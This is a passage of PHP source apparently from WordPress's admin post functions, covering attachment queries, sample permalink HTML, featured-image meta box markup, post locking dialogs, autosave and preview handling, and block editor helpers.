	$q['post_status'] = isset( $q['attachment-filter'] ) && 'trash' === $q['attachment-filter'] ? 'trash' : $states;

$media_per_page = (int) get_user_option( 'upload_per_page' );
	if ( empty( $media_per_page ) || $media_per_page < 1 ) {
		$media_per_page = 20;
	}

/**
	 * Filters the number of items to list per page when listing media items.
	 *
	 * @since 2.9.0
	 *
	 * @param int $media_per_page Number of media to list. Default 20.
	 */
	$q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page );

$post_mime_types = get_post_mime_types();
	if ( isset( $q['post_mime_type'] ) && ! array_intersect( (array) $q['post_mime_type'], array_keys( $post_mime_types ) ) ) {
		unset( $q['post_mime_type'] );
	}

foreach ( array_keys( $post_mime_types ) as $type ) {
		if ( isset( $q['attachment-filter'] ) && "post_mime_type:$type" === $q['attachment-filter'] ) {
			$q['post_mime_type'] = $type;
			break;
		}
	}

if ( isset( $q['detached'] ) || ( isset( $q['attachment-filter'] ) && 'detached' === $q['attachment-filter'] ) ) {
		$q['post_parent'] = 0;
	}

if ( isset( $q['mine'] ) || ( isset( $q['attachment-filter'] ) && 'mine' === $q['attachment-filter'] ) ) {
		$q['author'] = get_current_user_id();
	}

// Filter query clauses to include filenames.
	if ( isset( $q['s'] ) ) {
		add_filter( 'posts_clauses', '_filter_query_attachment_filenames' );
	}

return $q;
}

/**
 * Executes a query for attachments. An array of WP_Query arguments
 * can be passed in, which will override the arguments set by this function.
 *
 * @since 2.5.0
 *
 * @param array|false $q Array of query variables to use to build the query or false to use $_GET superglobal.
 * @return array
 */
function wp_edit_attachments_query( $q = false ) {
	wp( wp_edit_attachments_query_vars( $q ) );

$post_mime_types       = get_post_mime_types();
	$avail_post_mime_types = get_available_post_mime_types( 'attachment' );

return array( $post_mime_types, $avail_post_mime_types );
}

/**
 * Returns the list of classes to be used by a meta box.
 *
 * @since 2.5.0
 *
 * @param string $box_id    Meta box ID (used in the 'id' attribute for the meta box).
 * @param string $screen_id The screen on which the meta box is shown.
 * @return string Space-separated string of class names.
 */
function postbox_classes( $box_id, $screen_id ) {
	if ( isset( $_GET['edit'] ) && $_GET['edit'] == $box_id ) {
		$classes = array( '' );
	} elseif ( get_user_option( 'closedpostboxes_' . $screen_id ) ) {
		$closed = get_user_option( 'closedpostboxes_' . $screen_id );
		if ( ! is_array( $closed ) ) {
			$classes = array( '' );
		} else {
			$classes = in_array( $box_id, $closed, true ) ? array( 'closed' ) : array( '' );
		}
	} else {
		$classes = array( '' );
	}

/**
	 * Filters the postbox classes for a specific screen and box ID combo.
	 *
	 * The dynamic portions of the hook name, `$screen_id` and `$box_id`, refer to
	 * the screen ID and meta box ID, respectively.
	 *
	 * @since 3.2.0
	 *
	 * @param string[] $classes An array of postbox classes.
	 */
	$classes = apply_filters( "postbox_classes_{$screen_id}_{$box_id}", $classes );
	return implode( ' ', $classes );
}

/**
 * Get a sample permalink based off of the post name.
 *
 * @since 2.5.0
 *
 * @param int    $id    Post ID or post object.
 * @param string $title Optional. Title to override the post's current title when generating the post name. Default null.
 * @param string $name  Optional. Name to override the post name. Default null.
 * @return array {
 *     Array containing the sample permalink with placeholder for the post name, and the post name.
 *
 *     @type string $0 The permalink with placeholder for the post name.
 *     @type string $1 The post name.
 * }
 */
function get_sample_permalink( $id, $title = null, $name = null ) {
	$post = get_post( $id );
	if ( ! $post ) {
		return array( '', '' );
	}

$ptype = get_post_type_object( $post->post_type );

$original_status = $post->post_status;
	$original_date   = $post->post_date;
	$original_name   = $post->post_name;

// Hack: get_permalink() would return ugly permalink for drafts, so we will fake that our post is published.
	if ( in_array( $post->post_status, array( 'draft', 'pending', 'future' ), true ) ) {
		$post->post_status = 'publish';
		$post->post_name   = sanitize_title( $post->post_name ? $post->post_name : $post->post_title, $post->ID );
	}

// If the user wants to set a new name -- override the current one.
	// Note: if empty name is supplied -- use the title instead, see #6072.
	if ( ! is_null( $name ) ) {
		$post->post_name = sanitize_title( $name ? $name : $title, $post->ID );
	}

$post->post_name = wp_unique_post_slug( $post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent );

$post->filter = 'sample';

$permalink = get_permalink( $post, true );

// Replace custom post_type token with generic pagename token for ease of use.
	$permalink = str_replace( "%$post->post_type%", '%pagename%', $permalink );

// Handle page hierarchy.
	if ( $ptype->hierarchical ) {
		$uri = get_page_uri( $post );
		if ( $uri ) {
			$uri = untrailingslashit( $uri );
			$uri = strrev( stristr( strrev( $uri ), '/' ) );
			$uri = untrailingslashit( $uri );
		}

/** This filter is documented in wp-admin/edit-tag-form.php */
		$uri = apply_filters( 'editable_slug', $uri, $post );
		if ( ! empty( $uri ) ) {
			$uri .= '/';
		}
		$permalink = str_replace( '%pagename%', "{$uri}%pagename%", $permalink );
	}

/** This filter is documented in wp-admin/edit-tag-form.php */
	$permalink         = array( $permalink, apply_filters( 'editable_slug', $post->post_name, $post ) );
	$post->post_status = $original_status;
	$post->post_date   = $original_date;
	$post->post_name   = $original_name;
	unset( $post->filter );

/**
	 * Filters the sample permalink.
	 *
	 * @since 4.4.0
	 *
	 * @param array   $permalink {
	 *     Array containing the sample permalink with placeholder for the post name, and the post name.
	 *
	 *     @type string $0 The permalink with placeholder for the post name.
	 *     @type string $1 The post name.
	 * }
	 * @param int     $post_id   Post ID.
	 * @param string  $title     Post title.
	 * @param string  $name      Post name (slug).
	 * @param WP_Post $post      Post object.
	 */
	return apply_filters( 'get_sample_permalink', $permalink, $post->ID, $title, $name, $post );
}

/**
 * Returns the HTML of the sample permalink slug editor.
 *
 * @since 2.5.0
 *
 * @param int    $id        Post ID or post object.
 * @param string $new_title Optional. New title. Default null.
 * @param string $new_slug  Optional. New slug. Default null.
 * @return string The HTML of the sample permalink slug editor.
 */
function get_sample_permalink_html( $id, $new_title = null, $new_slug = null ) {
	$post = get_post( $id );
	if ( ! $post ) {
		return '';
	}

list($permalink, $post_name) = get_sample_permalink( $post->ID, $new_title, $new_slug );

$view_link      = false;
	$preview_target = '';

if ( current_user_can( 'read_post', $post->ID ) ) {
		if ( 'draft' === $post->post_status || empty( $post->post_name ) ) {
			$view_link      = get_preview_post_link( $post );
			$preview_target = " target='wp-preview-{$post->ID}'";
		} else {
			if ( 'publish' === $post->post_status || 'attachment' === $post->post_type ) {
				$view_link = get_permalink( $post );
			} else {
				// Allow non-published (private, future) to be viewed at a pretty permalink, in case $post->post_name is set.
				$view_link = str_replace( array( '%pagename%', '%postname%' ), $post->post_name, $permalink );
			}
		}
	}

// Permalinks without a post/page name placeholder don't have anything to edit.
	if ( false === strpos( $permalink, '%postname%' ) && false === strpos( $permalink, '%pagename%' ) ) {
		$return = '<strong>' . __( 'Permalink:' ) . "</strong>\n";

if ( false !== $view_link ) {
			$display_link = urldecode( $view_link );
			$return      .= '<a id="sample-permalink" href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . esc_html( $display_link ) . "</a>\n";
		} else {
			$return .= '<span id="sample-permalink">' . $permalink . "</span>\n";
		}

// Encourage a pretty permalink setting.
		if ( ! get_option( 'permalink_structure' ) && current_user_can( 'manage_options' )
			&& ! ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $id )
		) {
			$return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button button-small" target="_blank">' . __( 'Change Permalinks' ) . "</a></span>\n";
		}
	} else {
		if ( mb_strlen( $post_name ) > 34 ) {
			$post_name_abridged = mb_substr( $post_name, 0, 16 ) . '&hellip;' . mb_substr( $post_name, -16 );
		} else {
			$post_name_abridged = $post_name;
		}

$post_name_html = '<span id="editable-post-name">' . esc_html( $post_name_abridged ) . '</span>';
		$display_link   = str_replace( array( '%pagename%', '%postname%' ), $post_name_html, esc_html( urldecode( $permalink ) ) );

$return  = '<strong>' . __( 'Permalink:' ) . "</strong>\n";
		$return .= '<span id="sample-permalink"><a href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . $display_link . "</a></span>\n";
		$return .= '&lrm;'; // Fix bi-directional text display defect in RTL languages.
		$return .= '<span id="edit-slug-buttons"><button type="button" class="edit-slug button button-small hide-if-no-js" aria-label="' . __( 'Edit permalink' ) . '">' . __( 'Edit' ) . "</button></span>\n";
		$return .= '<span id="editable-post-name-full">' . esc_html( $post_name ) . "</span>\n";
	}

/**
	 * Filters the sample permalink HTML markup.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added `$post` parameter.
	 *
	 * @param string  $return    Sample permalink HTML markup.
	 * @param int     $post_id   Post ID.
	 * @param string  $new_title New sample permalink title.
	 * @param string  $new_slug  New sample permalink slug.
	 * @param WP_Post $post      Post object.
	 */
	$return = apply_filters( 'get_sample_permalink_html', $return, $post->ID, $new_title, $new_slug, $post );

return $return;
}

/**
 * Returns HTML for the post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param int         $thumbnail_id ID of the attachment used for thumbnail
 * @param int|WP_Post $post         Optional. The post ID or object associated with the thumbnail, defaults to global $post.
 * @return string The post thumbnail HTML.
 */
function _wp_post_thumbnail_html( $thumbnail_id = null, $post = null ) {
	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

$post               = get_post( $post );
	$post_type_object   = get_post_type_object( $post->post_type );
	$set_thumbnail_link = '<p class="hide-if-no-js"><a href="%s" id="set-post-thumbnail"%s class="thickbox">%s</a></p>';
	$upload_iframe_src  = get_upload_iframe_src( 'image', $post->ID );

$content = sprintf(
		$set_thumbnail_link,
		esc_url( $upload_iframe_src ),
		'', // Empty when there's no featured image set, `aria-describedby` attribute otherwise.
		esc_html( $post_type_object->labels->set_featured_image )
	);

if ( $thumbnail_id && get_post( $thumbnail_id ) ) {
		$size = isset( $_wp_additional_image_sizes['post-thumbnail'] ) ? 'post-thumbnail' : array( 266, 266 );

/**
		 * Filters the size used to display the post thumbnail image in the 'Featured image' meta box.
		 *
		 * Note: When a theme adds 'post-thumbnail' support, a special 'post-thumbnail'
		 * image size is registered, which differs from the 'thumbnail' image size
		 * managed via the Settings > Media screen. See the `$size` parameter description
		 * for more information on default values.
		 *
		 * @since 4.4.0
		 *
		 * @param string|array $size         Post thumbnail image size to display in the meta box. Accepts any valid
		 *                                   image size, or an array of width and height values in pixels (in that order).
		 *                                   If the 'post-thumbnail' size is set, default is 'post-thumbnail'. Otherwise,
		 *                                   default is an array with 266 as both the height and width values.
		 * @param int          $thumbnail_id Post thumbnail attachment ID.
		 * @param WP_Post      $post         The post object associated with the thumbnail.
		 */
		$size = apply_filters( 'admin_post_thumbnail_size', $size, $thumbnail_id, $post );

$thumbnail_html = wp_get_attachment_image( $thumbnail_id, $size );

if ( ! empty( $thumbnail_html ) ) {
			$content  = sprintf(
				$set_thumbnail_link,
				esc_url( $upload_iframe_src ),
				' aria-describedby="set-post-thumbnail-desc"',
				$thumbnail_html
			);
			$content .= '<p class="hide-if-no-js howto" id="set-post-thumbnail-desc">' . __( 'Click the image to edit or update' ) . '</p>';
			$content .= '<p class="hide-if-no-js"><a href="#" id="remove-post-thumbnail">' . esc_html( $post_type_object->labels->remove_featured_image ) . '</a></p>';
		}
	}

$content .= '<input type="hidden" id="_thumbnail_id" name="_thumbnail_id" value="' . esc_attr( $thumbnail_id ? $thumbnail_id : '-1' ) . '" />';

/**
	 * Filters the admin post thumbnail HTML markup to return.
	 *
	 * @since 2.9.0
	 * @since 3.5.0 Added the `$post_id` parameter.
	 * @since 4.6.0 Added the `$thumbnail_id` parameter.
	 *
	 * @param string   $content      Admin post thumbnail HTML markup.
	 * @param int      $post_id      Post ID.
	 * @param int|null $thumbnail_id Thumbnail attachment ID, or null if there isn't one.
	 */
	return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID, $thumbnail_id );
}

/**
 * Check to see if the post is currently being edited by another user.
 *
 * @since 2.5.0
 *
 * @param int $post_id ID of the post to check for editing.
 * @return int|false ID of the user with lock. False if the post does not exist, post is not locked,
 *                   the user with lock does not exist, or the post is locked by current user.
 */
function wp_check_post_lock( $post_id ) {
	$post = get_post( $post_id );
	if ( ! $post ) {
		return false;
	}

$lock = get_post_meta( $post->ID, '_edit_lock', true );
	if ( ! $lock ) {
		return false;
	}

$lock = explode( ':', $lock );
	$time = $lock[0];
	$user = isset( $lock[1] ) ? $lock[1] : get_post_meta( $post->ID, '_edit_last', true );

if ( ! get_userdata( $user ) ) {
		return false;
	}

/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$time_window = apply_filters( 'wp_check_post_lock_window', 150 );

if ( $time && $time > time() - $time_window && get_current_user_id() != $user ) {
		return $user;
	}

return false;
}

/**
 * Mark the post as currently being edited by the current user
 *
 * @since 2.5.0
 *
 * @param int $post_id ID of the post being edited.
 * @return array|false Array of the lock time and user ID. False if the post does not exist, or
 *                     there is no current user.
 */
function wp_set_post_lock( $post_id ) {
	$post = get_post( $post_id );
	if ( ! $post ) {
		return false;
	}

$user_id = get_current_user_id();
	if ( 0 == $user_id ) {
		return false;
	}

$now  = time();
	$lock = "$now:$user_id";

update_post_meta( $post->ID, '_edit_lock', $lock );

return array( $now, $user_id );
}

/**
 * Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post.
 *
 * @since 2.8.5
 */
function _admin_notice_post_locked() {
	$post = get_post();
	if ( ! $post ) {
		return;
	}

$user    = null;
	$user_id = wp_check_post_lock( $post->ID );
	if ( $user_id ) {
		$user = get_userdata( $user_id );
	}

if ( $user ) {
		/**
		 * Filters whether to show the post locked dialog.
		 *
		 * Returning false from the filter will prevent the dialog from being displayed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $display Whether to display the dialog. Default true.
		 * @param WP_Post $post    Post object.
		 * @param WP_User $user    The user with the lock for the post.
		 */
		if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) ) {
			return;
		}

$locked = true;
	} else {
		$locked = false;
	}

$sendback = wp_get_referer();
	if ( $locked && $sendback && false === strpos( $sendback, 'post.php' ) && false === strpos( $sendback, 'post-new.php' ) ) {

$sendback_text = __( 'Go back' );
	} else {
		$sendback = admin_url( 'edit.php' );

if ( 'post' !== $post->post_type ) {
			$sendback = add_query_arg( 'post_type', $post->post_type, $sendback );
		}

$sendback_text = get_post_type_object( $post->post_type )->labels->all_items;
	}

$hidden = $locked ? '' : ' hidden';

?>
	<div id="post-lock-dialog" class="notification-dialog-wrap<?php echo $hidden; ?>">
	<div class="notification-dialog-background"></div>
	<div class="notification-dialog">
	<?php

if ( $locked ) {
		$query_args = array();
		if ( get_post_type_object( $post->post_type )->public ) {
			if ( 'publish' === $post->post_status || $user->ID != $post->post_author ) {
				// Latest content is in autosave.
				$nonce                       = wp_create_nonce( 'post_preview_' . $post->ID );
				$query_args['preview_id']    = $post->ID;
				$query_args['preview_nonce'] = $nonce;
			}
		}

$preview_link = get_preview_post_link( $post->ID, $query_args );

/**
		 * Filters whether to allow the post lock to be overridden.
		 *
		 * Returning false from the filter will disable the ability
		 * to override the post lock.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $override Whether to allow the post lock to be overridden. Default true.
		 * @param WP_Post $post     Post object.
		 * @param WP_User $user     The user with the lock for the post.
		 */
		$override = apply_filters( 'override_post_lock', true, $post, $user );
		$tab_last = $override ? '' : ' wp-tab-last';

?>
		<div class="post-locked-message">
		<div class="post-locked-avatar"><?php echo get_avatar( $user->ID, 64 ); ?></div>
		<p class="currently-editing wp-tab-first" tabindex="0">
		<?php
		if ( $override ) {
			/* translators: %s: User's display name. */
			printf( __( '%s is already editing this post. Do you want to take over?' ), esc_html( $user->display_name ) );
		} else {
			/* translators: %s: User's display name. */
			printf( __( '%s is already editing this post.' ), esc_html( $user->display_name ) );
		}
		?>
		</p>
		<?php
		/**
		 * Fires inside the post locked dialog before the buttons are displayed.
		 *
		 * @since 3.6.0
		 * @since 5.4.0 The $user parameter was added.
		 *
		 * @param WP_Post $post Post object.
		 * @param WP_User $user The user with the lock for the post.
		 */
		do_action( 'post_locked_dialog', $post, $user );
		?>
		<p>
		<a class="button" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a>
		<?php if ( $preview_link ) { ?>
		<a class="button<?php echo $tab_last; ?>" href="<?php echo esc_url( $preview_link ); ?>"><?php _e( 'Preview' ); ?></a>
			<?php
		}

// Allow plugins to prevent some users overriding the post lock.
		if ( $override ) {
			?>
	<a class="button button-primary wp-tab-last" href="<?php echo esc_url( add_query_arg( 'get-post-lock', '1', wp_nonce_url( get_edit_post_link( $post->ID, 'url' ), 'lock-post_' . $post->ID ) ) ); ?>"><?php _e( 'Take over' ); ?></a>
			<?php
		}

?>
		</p>
		</div>
		<?php
	} else {
		?>
		<div class="post-taken-over">
			<div class="post-locked-avatar"></div>
			<p class="wp-tab-first" tabindex="0">
			<span class="currently-editing"></span><br />
			<span class="locked-saving hidden"><img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" width="16" height="16" alt="" /> <?php _e( 'Saving revision&hellip;' ); ?></span>
			<span class="locked-saved hidden"><?php _e( 'Your latest changes were saved as a revision.' ); ?></span>
			</p>
			<?php
			/**
			 * Fires inside the dialog displayed when a user has lost the post lock.
			 *
			 * @since 3.6.0
			 *
			 * @param WP_Post $post Post object.
			 */
			do_action( 'post_lock_lost_dialog', $post );
			?>
			<p><a class="button button-primary wp-tab-last" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a></p>
		</div>
		<?php
	}

?>
	</div>
	</div>
	<?php
}

/**
 * Creates autosave data for the specified post from $_POST data.
 *
 * @since 2.6.0
 *
 * @param array|int $post_data Associative array containing the post data or int post ID.
 * @return int|WP_Error The autosave revision ID. WP_Error or 0 on error.
 */
function wp_create_post_autosave( $post_data ) {
	if ( is_numeric( $post_data ) ) {
		$post_id   = $post_data;
		$post_data = $_POST;
	} else {
		$post_id = (int) $post_data['post_ID'];
	}

$post_data = _wp_translate_postdata( true, $post_data );
	if ( is_wp_error( $post_data ) ) {
		return $post_data;
	}
	$post_data = _wp_get_allowed_postdata( $post_data );

$post_author = get_current_user_id();

// Store one autosave per author. If there is already an autosave, overwrite it.
	$old_autosave = wp_get_post_autosave( $post_id, $post_author );
	if ( $old_autosave ) {
		$new_autosave                = _wp_post_revision_data( $post_data, true );
		$new_autosave['ID']          = $old_autosave->ID;
		$new_autosave['post_author'] = $post_author;

$post = get_post( $post_id );

// If the new autosave has the same content as the post, delete the autosave.
		$autosave_is_different = false;
		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

if ( ! $autosave_is_different ) {
			wp_delete_post_revision( $old_autosave->ID );
			return 0;
		}

/**
		 * Fires before an autosave is stored.
		 *
		 * @since 4.1.0
		 *
		 * @param array $new_autosave Post array - the autosave that is about to be saved.
		 */
		do_action( 'wp_creating_autosave', $new_autosave );

return wp_update_post( $new_autosave );
	}

// _wp_put_post_revision() expects unescaped.
	$post_data = wp_unslash( $post_data );

// Otherwise create the new autosave as a special post revision.
	return _wp_put_post_revision( $post_data, true );
}

/**
 * Saves a draft or manually autosaves for the purpose of showing a post preview.
 *
 * @since 2.7.0
 *
 * @return string URL to redirect to show the preview.
 */
function post_preview() {

$post_ID     = (int) $_POST['post_ID'];
	$_POST['ID'] = $post_ID;

$post = get_post( $post_ID );
	if ( ! $post ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

$is_autosave = false;

if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author
		&& ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status )
	) {
		$saved_post_id = edit_post();
	} else {
		$is_autosave = true;

if ( isset( $_POST['post_status'] ) && 'auto-draft' === $_POST['post_status'] ) {
			$_POST['post_status'] = 'draft';
		}

$saved_post_id = wp_create_post_autosave( $post->ID );
	}

if ( is_wp_error( $saved_post_id ) ) {
		wp_die( $saved_post_id->get_error_message() );
	}

$query_args = array();

if ( $is_autosave && $saved_post_id ) {
		$query_args['preview_id']    = $post->ID;
		$query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID );

if ( isset( $_POST['post_format'] ) ) {
			$query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] );
		}

if ( isset( $_POST['_thumbnail_id'] ) ) {
			$query_args['_thumbnail_id'] = ( intval( $_POST['_thumbnail_id'] ) <= 0 ) ? '-1' : intval( $_POST['_thumbnail_id'] );
		}
	}

return get_preview_post_link( $post, $query_args );
}

/**
 * Save a post submitted with XHR
 *
 * Intended for use with heartbeat and autosave.js
 *
 * @since 3.9.0
 *
 * @param array $post_data Associative array of the submitted post data.
 * @return mixed The value 0 or WP_Error on failure. The saved post ID on success.
 *               The ID can be the draft post_id or the autosave revision post_id.
 */
function wp_autosave( $post_data ) {
	// Back-compat.
	if ( ! defined( 'DOING_AUTOSAVE' ) ) {
		define( 'DOING_AUTOSAVE', true );
	}

$post_id              = (int) $post_data['post_id'];
	$post_data['ID']      = $post_id;
	$post_data['post_ID'] = $post_id;

if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) {
		return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) );
	}

$post = get_post( $post_id );

if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to edit this item.' ) );
	}

if ( 'auto-draft' === $post->post_status ) {
		$post_data['post_status'] = 'draft';
	}

if ( 'page' !== $post_data['post_type'] && ! empty( $post_data['catslist'] ) ) {
		$post_data['post_category'] = explode( ',', $post_data['catslist'] );
	}

if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author
		&& ( 'auto-draft' === $post->post_status || 'draft' === $post->post_status )
	) {
		// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked.
		return edit_post( wp_slash( $post_data ) );
	} else {
		// Non-drafts or other users' drafts are not overwritten.
		// The autosave is stored in a special post revision for each user.
		return wp_create_post_autosave( wp_slash( $post_data ) );
	}
}

/**
 * Redirect to previous page.
 *
 * @since 2.7.0
 *
 * @param int $post_id Optional. Post ID.
 */
function redirect_post( $post_id = '' ) {
	if ( isset( $_POST['save'] ) || isset( $_POST['publish'] ) ) {
		$status = get_post_status( $post_id );

if ( isset( $_POST['publish'] ) ) {
			switch ( $status ) {
				case 'pending':
					$message = 8;
					break;
				case 'future':
					$message = 9;
					break;
				default:
					$message = 6;
			}
		} else {
			$message = 'draft' === $status ? 10 : 1;
		}

$location = add_query_arg( 'message', $message, get_edit_post_link( $post_id, 'url' ) );
	} elseif ( isset( $_POST['addmeta'] ) && $_POST['addmeta'] ) {
		$location = add_query_arg( 'message', 2, wp_get_referer() );
		$location = explode( '#', $location );
		$location = $location[0] . '#postcustom';
	} elseif ( isset( $_POST['deletemeta'] ) && $_POST['deletemeta'] ) {
		$location = add_query_arg( 'message', 3, wp_get_referer() );
		$location = explode( '#', $location );
		$location = $location[0] . '#postcustom';
	} else {
		$location = add_query_arg( 'message', 4, get_edit_post_link( $post_id, 'url' ) );
	}

/**
	 * Filters the post redirect destination URL.
	 *
	 * @since 2.9.0
	 *
	 * @param string $location The destination URL.
	 * @param int    $post_id  The post ID.
	 */
	wp_redirect( apply_filters( 'redirect_post_location', $location, $post_id ) );
	exit;
}

/**
 * Sanitizes POST values from a checkbox taxonomy metabox.
 *
 * @since 5.1.0
 *
 * @param string $taxonomy The taxonomy name.
 * @param array  $terms    Raw term data from the 'tax_input' field.
 * @return int[] Array of sanitized term IDs.
 */
function taxonomy_meta_box_sanitize_cb_checkboxes( $taxonomy, $terms ) {
	return array_map( 'intval', $terms );
}

/**
 * Sanitizes POST values from an input taxonomy metabox.
 *
 * @since 5.1.0
 *
 * @param string       $taxonomy The taxonomy name.
 * @param array|string $terms    Raw term data from the 'tax_input' field.
 * @return array
 */
function taxonomy_meta_box_sanitize_cb_input( $taxonomy, $terms ) {
	/*
	 * Assume that a 'tax_input' string is a comma-separated list of term names.
	 * Some languages may use a character other than a comma as a delimiter, so we standardize on
	 * commas before parsing the list.
	 */
	if ( ! is_array( $terms ) ) {
		$comma = _x( ',', 'tag delimiter' );
		if ( ',' !== $comma ) {
			$terms = str_replace( $comma, ',', $terms );
		}
		$terms = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
	}

$clean_terms = array();
	foreach ( $terms as $term ) {
		// Empty terms are invalid input.
		if ( empty( $term ) ) {
			continue;
		}

$_term = get_terms(
			array(
				'taxonomy'   => $taxonomy,
				'name'       => $term,
				'fields'     => 'ids',
				'hide_empty' => false,
			)
		);

if ( ! empty( $_term ) ) {
			$clean_terms[] = intval( $_term[0] );
		} else {
			// No existing term was found, so pass the string. A new term will be created.
			$clean_terms[] = $term;
		}
	}

return $clean_terms;
}

/**
 * Return whether the post can be edited in the block editor.
 *
 * @since 5.0.0
 *
 * @param int|WP_Post $post Post ID or WP_Post object.
 * @return bool Whether the post can be edited in the block editor.
 */
function use_block_editor_for_post( $post ) {
	$post = get_post( $post );

if ( ! $post ) {
		return false;
	}

// We're in the meta box loader, so don't use the block editor.
	if ( isset( $_GET['meta-box-loader'] ) ) {
		check_admin_referer( 'meta-box-loader', 'meta-box-loader-nonce' );
		return false;
	}

// The posts page can't be edited in the block editor.
	if ( absint( get_option( 'page_for_posts' ) ) === $post->ID && empty( $post->post_content ) ) {
		return false;
	}

$use_block_editor = use_block_editor_for_post_type( $post->post_type );

/**
	 * Filter whether a post is able to be edited in the block editor.
	 *
	 * @since 5.0.0
	 *
	 * @param bool    $use_block_editor Whether the post can be edited or not.
	 * @param WP_Post $post             The post being checked.
	 */
	return apply_filters( 'use_block_editor_for_post', $use_block_editor, $post );
}

/**
 * Return whether a post type is compatible with the block editor.
 *
 * The block editor depends on the REST API, and if the post type is not shown in the
 * REST API, then it won't work with the block editor.
 *
 * @since 5.0.0
 *
 * @param string $post_type The post type.
 * @return bool Whether the post type can be edited with the block editor.
 */
function use_block_editor_for_post_type( $post_type ) {
	if ( ! post_type_exists( $post_type ) ) {
		return false;
	}

if ( ! post_type_supports( $post_type, 'editor' ) ) {
		return false;
	}

$post_type_object = get_post_type_object( $post_type );
	if ( $post_type_object && ! $post_type_object->show_in_rest ) {
		return false;
	}

/**
	 * Filter whether a post is able to be edited in the block editor.
	 *
	 * @since 5.0.0
	 *
	 * @param bool   $use_block_editor  Whether the post type can be edited or not. Default true.
	 * @param string $post_type         The post type being checked.
	 */
	return apply_filters( 'use_block_editor_for_post_type', true, $post_type );
}

/**
 * Returns all the block categories that will be shown in the block editor.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post Post object.
 * @return array[] Array of block categories.
 */
function get_block_categories( $post ) {
	$default_categories = array(
		array(
			'slug'  => 'text',
			'title' => _x( 'Text', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'media',
			'title' => _x( 'Media', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'design',
			'title' => _x( 'Design', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'widgets',
			'title' => _x( 'Widgets', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'embed',
			'title' => _x( 'Embeds', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'reusable',
			'title' => _x( 'Reusable Blocks', 'block category' ),
			'icon'  => null,
		),
	);

/**
	 * Filter the default array of block categories.
	 *
	 * @since 5.0.0
	 *
	 * @param array[] $default_categories Array of block categories.
	 * @param WP_Post $post               Post being loaded.
	 */
	return apply_filters( 'block_categories', $default_categories, $post );
}

/**
 * Prepares server-registered blocks for the block editor.
 *
 * Returns an associative array of registered block data keyed by block name. Data includes properties
 * of a block relevant for client registration.
 *
 * @since 5.0.0
 *
 * @return array An associative array of registered block data.
 */
function get_block_editor_server_block_settings() {
	$block_registry = WP_Block_Type_Registry::get_instance();
	$blocks         = array();
	$fields_to_pick = array(
		'title'            => 'title',
		'description'      => 'description',
		'icon'             => 'icon',
		'category'         => 'category',
		'keywords'         => 'keywords',
		'parent'           => 'parent',
		'supports'         => 'supports',
		'attributes'       => 'attributes',
		'provides_context' => 'providesContext',
		'uses_context'     => 'usesContext',
		'styles'           => 'styles',
		'textdomain'       => 'textdomain',
		'example'          => 'example',
	);

foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
		foreach ( $fields_to_pick as $field => $key ) {
			if ( ! isset( $block_type->{ $field } ) ) {
				continue;
			}

if ( ! isset( $blocks[ $block_name ] ) ) {
				$blocks[ $block_name ] = array();
			}

$blocks[ $block_name ][ $key ] = $block_type->{ $field };
		}
	}

return $blocks;
}

/**
 * Renders the meta boxes forms.
 *
 * @since 5.0.0
 */
function the_block_editor_meta_boxes() {
	global $post, $current_screen, $wp_meta_boxes;

// Handle meta box state.
	$_original_meta_boxes = $wp_meta_boxes;

/**
	 * Fires right before the meta boxes are rendered.
	 *
	 * This allows for the filtering of meta box data, that should already be
	 * present by this point. Do not use as a means of adding meta box data.
	 *
	 * @since 5.0.0
	 *
	 * @param array $wp_meta_boxes Global meta box state.
	 */
	$wp_meta_boxes = apply_filters( 'filter_block_editor_meta_boxes', $wp_meta_boxes );
	$locations     = array( 'side', 'normal', 'advanced' );
	$priorities    = array( 'high', 'sorted', 'core', 'default', 'low' );

// Render meta boxes.
	?>
	<form class="metabox-base-form">
	<?php the_block_editor_meta_box_post_form_hidden_fields( $post ); ?>
	</form>
	<form id="toggle-custom-fields-form" method="post" action="<?php echo esc_attr( admin_url( 'post.php' ) ); ?>">
